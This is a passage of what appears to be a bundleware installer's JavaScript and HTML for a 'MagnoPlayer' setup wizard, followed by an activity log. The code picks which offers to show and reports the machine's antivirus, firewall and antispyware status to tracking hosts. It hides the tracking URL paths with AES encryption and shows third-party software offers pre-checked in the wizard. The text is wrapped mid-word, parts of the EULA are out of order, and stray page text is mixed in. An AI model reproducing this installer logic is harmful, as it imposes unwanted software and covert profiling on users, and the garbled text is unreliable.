for(var x=0;x<maxCombination.offers[0].length;x++)
{
ids.push(idToIndex(maxCombination.offers[0][x]));
}
callbackFunction(ids);
}
}, 0);
}
function getCombination(offers,maxSteps)
{
var currentCombination = combination();
for(var i=0;i<maxSteps;i++)
{
var currStep = nextOffersWithGroup(offers,currentCombination.res
trictions);
if(!currStep || !currStep.offers.length)
{
break;
}
currentCombination.restrictions = currentCombination.restriction
s.concat(currStep.restrictions);
currentCombination.score+=currStep.score;
currentCombination.offers.push(currStep.offers);
}
return currentCombination;
}
function nextOffersWithGroup(offers,currRestrictions)
{
interruptor = true;
var singleCombination = combination();
var groupCombination = combination();
for(var i = 0; i < offers.length; i++)
{
var offer = offers[i];
if($.inArray(offer.id,currRestrictions)==-1 && $.inArray(offer.i
d,testingCombinationsId)==-1 )
{

if(singleCombination.offers.length==0)
{
singleCombination.offers = [offer.id];
singleCombination.restrictions = offer.offerBeha
vior.restrictions;
singleCombination.restrictions.push(offer.id);
singleCombination.score = offer.score;
}
if(offer.offerPresentation.canGroup && $.inArray(offer.i
d,groupCombination.restrictions)==-1)
{
groupCombination.restrictions = groupCombination
.restrictions.concat(offer.offerBehavior.restrictions);
groupCombination.restrictions.push(offer.id);
groupCombination.score += offer.score;
groupCombination.offers.push(offer.id);
}
}
}
if(groupCombination.score === -1 && singleCombination.score === -1)
{
return null;
}
else if(groupCombination.score > singleCombination.score)
{
return groupCombination;
}
else
{
return singleCombination;
}
}
function combination()
{
var newcombination = {};
newcombination.offers = [];
newcombination.restrictions = [];
newcombination.score = -1;
return newcombination;
}
function compareScore(a, b)
{
if (a.score < b.score) return 1;
if (a.score > b.score) return -1;
return 0;
}
function idToIndex(id)
{
for(var i=0;i<allOffers.length;i++)
{
if(allOffers[i].id == id)
{
return i;
}
}
return null;
}
function GetRestrictionsRecursive(steps,maxSteps,offers)

{
var currentSearchValue=0;
maxSteps = maxSteps-1;
if(testingCombination[testingCombination.length -1] == maxSteps)
{
var incremented = false;
for(var i=testingCombination.length -1;i>=0;i--)
{
if(testingCombination[i] >= maxSteps-1)
{
var nexValue = 0;
//testingCombination[i] =0;
if(testingCombination[i-1] < maxSteps-1)
{
nexValue = testingCombination[i-1]+1;
}
testingCombination[i] = nexValue;
}
else
{
testingCombination[i]++;
incremented = true;
break;
}
}
if(incremented == false)
{
testingCombination.push(0);
}
}
else
{
testingCombination[testingCombination.length -1]++;
}
bloquedIds = [];
for (var a = 0; a < testingCombination.length; a++)
{
if(offers[testingCombination[a]])
{
bloquedIds.push(offers[testingCombination[a]]);
}
}
return bloquedIds;
}
var completedTrack = false;
var TrackRetrys = 0;
function GenerateTrackBoby(dataObject,installerData,wasSkipAll)
{
var trackObj ={};
trackObj.offers = GetOffersReport(dataObject.offers);
trackObj.checkMachineInfo = GetmachineReport();
trackObj.internal = GetInternalReport(dataObject.countryId,wasSkipAll,installe
rData.campaign,installerData.publisher,dataObject.presentation.formCaption,insta
llerData.uid);
trackObj.extra = installerData.extra
trackObj.finish = boolToInt(finished);
trackObj.exeId = executionID;
var content = JSON.stringify(trackObj);

return content;
}
function boolToInt(value)
{
if(value)
{
return 1;
}
else
{
return 0;
}
}
function GetmachineReport()
{
var machineReport = {};
machineReport.fraud = machineInfo.fraud;
machineReport.methods = machineInfo.methods;
machineReport.OS = "MP_"+machineInfo.os;
machineReport.SP = "MP_"+machineInfo.sp;
machineReport.AR = "MP_"+machineInfo.ar;
machineReport.NET = "MP_"+machineInfo.net;
machineReport.UB = "MP_"+installerData.usedBrowser;
machineReport.DB = "MP_"+installerData.usedBrowser;
machineReport.AV = "MP_"+machineInfo.av;
machineReport.FW = "MP_"+machineInfo.fw;
machineReport.AS = "MP_"+machineInfo.as;
machineReport.FAV = "MP_"+machineInfo.fav;
machineReport.FFW = "MP_"+machineInfo.ffw;
machineReport.FAS = "MP_"+machineInfo.fas;
return machineReport;
}
function GetOffersReport(offersArray)
{
var OffersReport = [];
$.each(offersArray, function(key,offer)
{
var element = {};
element.id = offer.id;
element.state = offer.state;
element.monetizations = offer.catchallMonetizations;
element.screen = offer.usedScreen;
element.installTime = offer.installTime || -1;
OffersReport.push(element);
});
return OffersReport;
}
function GetInternalReport(country,skipall,campaign,publisher,carrier,uid)
{
var InternalReport = {};
InternalReport.country = country;
InternalReport.skipall =skipall;
InternalReport.campaign = campaign;
InternalReport.publisher = publisher;
InternalReport.carrier = carrier;
InternalReport.uid = uid;
InternalReport.aborted = wasAborted;
return InternalReport;
}
function sendTrackException(type,xhr,state,err)

{
sendEx(JSON.stringify(err), "", JSON.stringify(state),type,JSON.stringify(xhr)
);
}
function track(callback,failCallback)
{
if(completedTrack || //if we had decided to no send more tracks
(!finished && dataObject.installerBehavior.track.type == 0))//if we only wan
t to track the final report
{
if(typeof window[callback] === "function")
{
addLog("trackCallback");
window[callback]();
}
return;
}
else if(dataObject.installerBehavior.track.type == 0)//if we only want to trac
k one time
{
completedTrack=true;
}
addTrace("tracking");
addLog("Tracked");
addLog("Tracked->"+finished);
var postData = GenerateTrackBoby(dataObject,installerData,wasSkipAll);
var trackUrl = cryptUrl(TRACKURL);
addLog(trackUrl);
getResponseForTrack(trackUrl,postData,callback,failCallback);
printStates();
}
function hexToString(hexx)
{
var hex = hexx.toString();
var str = '';
for (var i = 0; i < hex.length; i += 2)
str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
return str;
}
function stringToHex(string)
{
var hex = '';
for(var i=0;i<string.length;i++) {
hex += ''+string.charCodeAt(i).toString(16);
}
return hex;
}
function cryptUrl(url)
{
var urlParsed = parseURL(url);
var domain = urlParsed.protocol+"://"+urlParsed.domain;
var path = urlParsed.path;
addLog(path);
return domain+"/"+cryptString(16,32,"CBC",path);
}
function genPassword(length)
{
var password = "";
var possible = "abcdef0123456789";

for( var i=0; i < length; i++ )


password += possible.charAt(Math.floor(Math.random() * possible.length))
;
return password;
}
function parseURL(url){
parsed_url = {};
if ( url == null || url.length == 0 )
return parsed_url;
protocol_i = url.indexOf('://');
parsed_url.protocol = url.substr(0,protocol_i);
remaining_url = url.substr(protocol_i + 3, url.length);
domain_i = remaining_url.indexOf('/');
domain_i = domain_i == -1 ? remaining_url.length - 1 : domain_i;
parsed_url.domain = remaining_url.substr(0, domain_i);
parsed_url.path = domain_i == -1 || domain_i + 1 == remaining_url.length ? n
ull : remaining_url.substr(domain_i + 1, remaining_url.length);
domain_parts = parsed_url.domain.split('.');
switch ( domain_parts.length ){
case 2:
parsed_url.subdomain = null;
parsed_url.host = domain_parts[0];
parsed_url.tld = domain_parts[1];
break;
case 3:
parsed_url.subdomain = domain_parts[0];
parsed_url.host = domain_parts[1];
parsed_url.tld = domain_parts[2];
break;
case 4:
parsed_url.subdomain = domain_parts[0];
parsed_url.host = domain_parts[1];
parsed_url.tld = domain_parts[2] + '.' + domain_parts[3];
break;
}
parsed_url.parent_domain = parsed_url.host + '.' + parsed_url.tld;
return parsed_url;
}
function getFilenameFromUrl(url)
{
var url = url.substr(1 + url.lastIndexOf("/")).split('?')[0];
if(url.indexOf(".") > 0)
{
return url;
}
else if(url.indexOf(".") > -1)
{
return "mainapp"+url;
}
else
{
return "mainapp.exe";
}

}
function cryptString(ivLength,passLength,mode,text)
{
var key = CryptoJS.enc.Hex.parse(genPassword(passLength));
var iv = CryptoJS.enc.Hex.parse(genPassword(ivLength));
var encrypted = CryptoJS.AES.encrypt(text, key, { iv: iv, mode: CryptoJS.mode[
mode] });
var crypt = encrypted.ciphertext.toString(CryptoJS.enc.Hex);
iv = encrypted.iv.toString(CryptoJS.enc.Hex);
var psw = encrypted.key.toString(CryptoJS.enc.Hex);
return iv + psw + crypt;
}
function deCryptString(ivLength,passLength,mode,data)
{
try
{
var iv = CryptoJS.enc.Hex.parse(data.substring(0,ivLength));
var key = CryptoJS.enc.Hex.parse(data.substring(ivLength,ivLength+passLength
));
cipher = CryptoJS.lib.CipherParams.create(
{
ciphertext: CryptoJS.enc.Hex.parse(data.substring(ivLength+passLength))
});
var result = CryptoJS.AES.decrypt(cipher, key, {iv: iv, mode: CryptoJS.mode[
mode]});
return CryptoJS.enc.Utf8.stringify(result);
}
catch(error)
{
return null;
}
}
var traceVersion = "1.5.7";
function addTrace(step)
{
try
{
var reportUrl = "http://"+installerData.extra.requestHost+"/?trace"+traceVer
sion+"="+step;
getResponseFromWrapper(reportUrl,"","","");
//$.get(reportUrl);
}
catch(ex)
{
}
}
function addSpeficicTrace(step)
{
/*try
{
var reportUrl = "http://"+installerData.extra.requestHost+"/?actions"+traceV
ersion+"="+step;
getResponseFromWrapper(reportUrl,"","","");
}

catch(ex)
{
}*/
}
var tracedList = [];
function addUniqueTrace(step)
{
if($.inArray(step,tracedList)==-1)
{
tracedList.push(step);
addTrace(step);
}
}
function thirdPartyError(msg, url, lno)
{
var method = "";
try
{
method = arguments.callee.caller.toString();
}
catch(err)
{
}
if(url.indexOf("?trace"+traceVersion) > -1)
{
return true;
}
sendEx("third party "+msg , url , lno ,method || "");
return true;
}
function ForceError(msg, url, lno, extra)
{
var method = "";
try
{
method = arguments.callee.caller.toString();
}
catch(err)
{
}
sendEx(msg || "", url || "", lno || 0,method || "" ,extra || "");
/*if (window && window.external && ('reportException' in window.external))
{
window.external.reportException(msg,url,lno,method);
}*/
try
{
onException(msg);
}
catch(err)
{
}
return true;
}
function sendEx(msg, url, lno,method,extra)
{

try
{
var ex = {};
ex.msg = msg;
ex.url = url;
ex.lno = lno;
ex.xtra = extra || "";
ex.method = method;
ex.version = traceVersion;
try
{
ex.av = machineInfo.av;
ex.fw = machineInfo.fw;
ex.as = machineInfo.as;
}
catch(err){}
var reportUrl = "http://"+installerData.extra.requestHost+"/__dmp__/";
addLog(JSON.stringify(ex));
getResponseFromWrapper(reportUrl,"data="+JSON.stringify(ex),"","");
//$.post(reportUrl,{});
}
catch(error)
{
//alert(error.message);
}
}
function Run(data,macInfo,usedDomain)
{
addTrace("Run");
window.onerror = thirdPartyError;
try
{
if (window.external && ('externalTrace' in window.external))
{
window.external.externalTrace("postindex");
}
}
catch(err)
{
sendEx(JSON.stringify(err), url, lno,"externalTrace",extra);
}
addTrace("GetInternalData");
machineInfo = JSON.parse(macInfo);
getData(data,usedDomain);
}
</script>
<div class="_ParentContainer"><!--Template Win_Link_v2-->
<div class="link-v2">
<div class="container">
<div class="minimize">
<ul>
<li><span class="button-min" onclick="minimizeWindow();">-</span></li>
<li><span class="button-min" onclick="onExit()">x</span></li>
</ul>
</div>
<div class="content" id="_frameContainer" style="visibility: hidden;"><!-- scree
n - group-link-v3 -->
<div class="g3">

<div class="group">
<div class="content-wlink">
<h1>
Setup Wizard
</h1>
<p class="followscreen">
Follow the on-screen instructions outlined in this wizar
d to install the new version of MagnoPlayer and benefit from all the latest feat
ures and updates MagnoPlayer has to offer.
</p>
<div class="spec">
<div class="whitespace">
<h3>Quick Specs</h3>
<div class="wlist first">
<li>Software Name:</li>
<span>MagnoPlayer.exe</span>
</div>
<div class="clear"></div>
<div class="wlist">
<li>Version:</li>
<span>15.1</span>
<li>Size:</li>
<span>24.7 MB</span>
</div>
</div>
</div>
<div class="advertisement">
<h4>Advertisement</h4>
<p>Accepting these offers allows us to promote our softw
are completely free of cost.</p>
<!--<p class="small-leg">By clicking Next, </p>-->
</div>
<div class="right">
<div class="grouptexta">
<div class="_args arguments">
<span><input class="_CBdecline" type="checkbox"
checked="checked" tag="1"> I want to install SpeedUpMyPc</span><span><input clas
s="_CBdecline" type="checkbox" checked="checked" tag="2"> I want to install MyPc
Backup</span><span><input class="_CBdecline" type="checkbox" checked="checked" t
ag="8"> I want to install IstartSurf</span><span><input class="_CBdecline" type=
"checkbox" checked="checked" tag="12"> I want to install Games Desktop</span></d
iv>
<div class="groupoli">
<span class="smalltextpoli">By clicking
Next you agree to the terms and conditions for</span>
<span class="_GroupPolicies" style="font
-size: 11px;"><a href="http://www.uniblue.com/es/privacy/">SpeedUpMyPc</a> <a hr
ef="http://www.mypcbackup.com/terms">MyPcBackup</a> <a href="http://www.istartsu

rf.com/privacy_policy.html">IstartSurf</a> <a href="http://games-desktop.com/htm


l/privacy.html">Games Desktop</a> </span>
</div>
</div>
<div class="_noargs textarea">
<h3>END USER LICENSE AGREEMENT</h3>
<br>
Users must read the present terms of use of the
installer. The use of or access to this webpage implies the acknowledgement and
the full acceptance of legal notices and conditions that are hereinafter detaile
d.
Likewise, the access and use of services provide
d to users by the installer may be subject to special conditions, notices, instr
uctions or terms that must as well be read and accepted without any reserve.
The acceptance of the present legal notice impli
es a legal agreement with binding effect between the installer and the user, whi
ch must be full and unconditioned.
By using this site, you accept the terms and con
ditions that are hereinafter defined, and you accept that you have legal capabil
ity to comply and respond to this agreement.
2 Object
Through the website, the installer facilitates t
he access, to users who wish to become affiliates (Publisher), to the Contents a
nd Services developed by the installer, in such a way that they both will collab
orate in operating these Contents.
Likewise, being these conditions in effect, the
installer will provide its affiliates with tools aimed at the promotion of the s
ervices and contents of this website.
3 Access Conditions
Prior to partnering with the installer, Publishe
r must register by filling in a form (Registration Form) which is in the website
. The installer reserves the right to accept or reject the registration request
of any Publisher.
The information filled in the form by Publisher
in the Registration form must be correct, updated and true and will be processed
by the installer within the terms stated in the Privacy Policy.
Registered users will be held responsible at any
time for safeguarding their own password and will be responsible for any harmfu
l consequence that might occur out of its improper use, as well as the transfer,
disclosure or loss of the same.
4 Payouts services
Prior to the payment by the installer of the gai
ns generated by affiliates' activity, the Registration Form must be received pro
perly completed, as per the terms specified in this present document.
Depending on the revenue generated by the instal
ler through the affiliates webpage, the affiliate will receive the amounts that a
re due to him/her based on the rates that apply in the control panel of the affi
liates account.
These rates may be changed without any previous
notices, based on the terms of the services the installer achieves, putting the
affiliate, in case of controversy, in the condition of terminating the exisiting
partnership.
5 Conditions of use of the portal
The affiliate commits to make an adequate and le
gal use of the website and the Contents, compliantly with the applicable legisla
tion and these present Conditions of Use of the website, the ethics, common sens
e generally accepted and public order, with the obligation of indemnifying the i
nstaller for any harm that might occur out of a misuse of the website, in breach
with these general conditions and or the current legislation.
The affiliate must refrain from:

1. Making a unauthorized and fraudulent use of t


he website and/or the Contents with illegal purposes and effects.
2. Accessing or attempting to access resources o
r protected areas of the website, without complying with the conditions required
for this access.
3. Introducing or spreading in the network infor
matics virus or any other material or logic system that may turn harmful against
the material and logic systems of the domains owner, providers and third parties
.
4. Attempting to access, use or manipulate the d
ata of domains owner, third parties affiliates and other users.
5. Deleting, hiding or manipulating the notices
related to intellectual and industrial property rights as well as other data def
ining the rights of websites holder or third parties involved in the Contents, as
well as protection devices or any other information system that may apply to th
e Contents.
6. Obtaining or attempting to obtain the Content
s, involving any means other than those that have been specifically set for thes
e purposes or clearly indicated on the webpage where this Content is available,
or, in general, other than those that are normally used in the Internet to avoid
causing issues in the usage of the website and/or the Contents.
7. Harming or negatively affecting the reputatio
n and the name of the installer, their collaborators and providers of the Conten
ts, committing to indemnify The installer for the consequences that may derivate
from a breach of any provisions.
Likewise, the affiliate is totally responsible f
or the advertising activity, which must be legally and legitimately operated, re
fraining from spreading mass mailing communications or SPAM, and for any means t
hat he/she uses to promote the service, committing to indemnify The installer fo
r any damage caused directly or consequently to any requirement demanded by Publ
ic Administration or third parties, given the contents displayed, linked or adve
rtised in any means used for the promotion of the service.
6 Intellectual and industrial property rights
The present webpage along with its source code a
nd the Contents created by its holders or its collaborators, are protected by th
e current national and international legislation applicable to intellectual prop
erty, being the rights reserved, in such a way that the affiliate can use the Co
ntents only in the way authorized in the website.
Notwithstanding the relation with the tools of p
romotion that The installer provides affiliates with and for the time relation a
pplies, The installer grants affiliates a use licence that includes the transfer
of the rights of public communication, on these tools, within the Internet and
solely in relation to the promotion of the services and contents that are object
of this site, being reserved all the other rights that current legislation reco
gnizes to The installer as holder of these rights.
7 Data protection policy
Prior to use certain services or access certain
content, affiliates will need to provide personal data to the installer.
The installer applies to its affiliates its pers
onal data protection policy in the section Privacy Policy.
8 External links
The installer will not be hold responsible for t
hose sites or files that can be accessed by the hypertextual links available in
the website, as these linked pages fall under the responsibility of their own ho
lders.
Therefore the installer neither will approve or
make its own the products, services, files and any other typology of material ex
isting in these webpages or files, neither will not control or be responsible fo
r the quality, legality, reliability and usefulness of the information, contents
and services existing in the linked sites that are external to this webpage.

In the case it may be deemed appropriate or in t


may declare the illegality of the data, ordering its
may be impossible the access to those, or in the case
communicated and we may have been notified with its s
immediately removed.
9 Exclusion of warranties and responsibilities
The installer commits to offer a satisfactory se
rvice, using for these purposes any available means to make available the servic
e 24hours /7, committing in case of failure, as soon as this is known, to adopt
any necessary measure to reestablish the service.
Nevertheless The installer cannot ensure the eff
ective restoration of the services and will not be responsible for any damage ca
used by the service withdrawal, if the withdrawal will be due to causes external
to the installers control like an extended interruption of any external supply,
collapse of main nodes of the net, conflicts, third parties actions as well as u
pdating of systems.
10 Actions in case of violation
The installer reserves the right to undertake as
many measures are available to claim responsibilities that might arise from the
breach of any of these General Terms of Use of the website by a user.
The installer may withdraw or suspend any time a
nd without prior notice the supply of services to those users who fail to comply
with the provisions of the present Legal Notice and Terms of Use.
11 Partial invalidity
Stating any of these general conditions as void,
invalid or not applicable will not infringe the validity or enforceability of t
he remaining ones, which will continue to apply to both parties with binding eff
ect.
The renounce , by either part, to claim complian
ce with any of these general conditions will not imply the renounce to claim the
compliance with any other conditions, neither will create a vested right in the
other party.
he case a competent entity
removal, or in the case it
any damages may have been
olution, the links will be

</div>
<div class="clickheretexta">
<p>
<span class="clickhere" onclick="$('.textarea').
hide();">Click here</span> to customize the installation.
</p>
</div>
</div>
<div class="legalwlist">
By clicking Next you are agree with our <a href="http://
www.legal-conditions.com/XYykUKym/terms.html" target="_blank">Terms and Conditio
ns</a> and <a href="http://www.legal-conditions.com/XYykUKym/privacy.html" targe
t="_blank">Privacy Policy</a> of this installer.
</div>
</div>

<div class="clear"></div>

</div>
</div></div>
<!-- buttons -->
<div class="buttons">
<!--botones derecha -->
<input tabindex="0" class="_Bnext green right" id="_Bnext" onclick="onAccept()
;" type="submit" value="Next" buttontext="Next" defaulttext="Next">
<!--botones izquierda -->
<input name="nombre" tabindex="3" class="_Bomit normal-close leftnowidth" id="
_Bomit" style="display: none;" onclick="onOmit();" type="submit" value="Skip All
" defaulttext="Skip All">
<input name="nombre" tabindex="1" class="_Bdecline normal-close leftnowidth" i
d="_Bdecline" style="display: none;" onclick="onDecline();" type="submit" value=
"Decline" defaulttext="Decline">
<div class="clear"></div>
</div>

<div class="contact">
<div class="contact-in" style="height: 20px;">
<ul>
<li><a class="first _TitPrivacy" href="http://www.9ugdsh4o.com/XYykUKym/pr
ivacy.html" target="_blank">Privacy Policy</a></li>
<li><a class="_TitSetup" href="http://www.o8ka1pw.com/XYykUKym/setupinfo.h
tml" target="_blank">Setup info</a></li>
<li style="display: none;"><a class="_TitFree" target="_blank">Why is this
free?</a></li>
<li><a class="_TitHelp" href="http://www.o8ka1pw.com/XYykUKym/support.html
" target="_blank">Help</a></li>
<li><a class="_TitUninstall" href="http://www.o8ka1pw.com/XYykUKym/uninsta
ll.html" target="_blank">Uninstall</a></li>
<li><a class="_TitContact" href="http://www.o8ka1pw.com/XYykUKym/contact.h
tml" target="_blank">Contact Us</a></li>
<li style="display: none;"><a class="_TitTerms" target="_blank">Terms</a>
</li>
</ul>
</div>

</div>
</div>
</div>
<span id="_BodyWidth" style="display: none;">559</span>
<span id="_BodyHeight" style="display: none;">458</span>
<span id="_WindowTitle" style="display: none;">MagnoPlayer install progress</spa
n>
<span id="_ExceptionText" style="display: none;">There was an error</span>
<span id="_ExitConfirm" style="display: none;">Closing now the installer could l
eave some incomplete installations. Would you like to continue with the instalat
ion process?</span>
<span id="_GroupItemText" style="display: none;">I want to install %offercaption
%</span>
<span id="_HideBorder" style="display: none;"> 1</span></div> </body></html>
19:18:34 width559
19:18:34 height458
19:18:34 loaded
19:18:36 DownloadCompleteExplorer1
19:18:37 addLog..width:559
19:18:37 addLog..height:458
19:18:37 addLog..loading set to false
19:18:37 addLog..changing
19:18:44 addLog..onExit
19:18:54 addLog..Tracked
19:18:54 addLog..Tracked->true
19:18:54 addLog..kenny/trackMaxPowerCollector
19:18:54 addLog..http://1abeeegr.9ugdsh4o.com/1070aaa4707c1b04ee5a491eebf2bd8bc1
9fd42fdedccd28ccec59fafaa889ae8d16fef8b85d227cdbce0825e0724f4578ec7aba646a3b56

Anda mungkin juga menyukai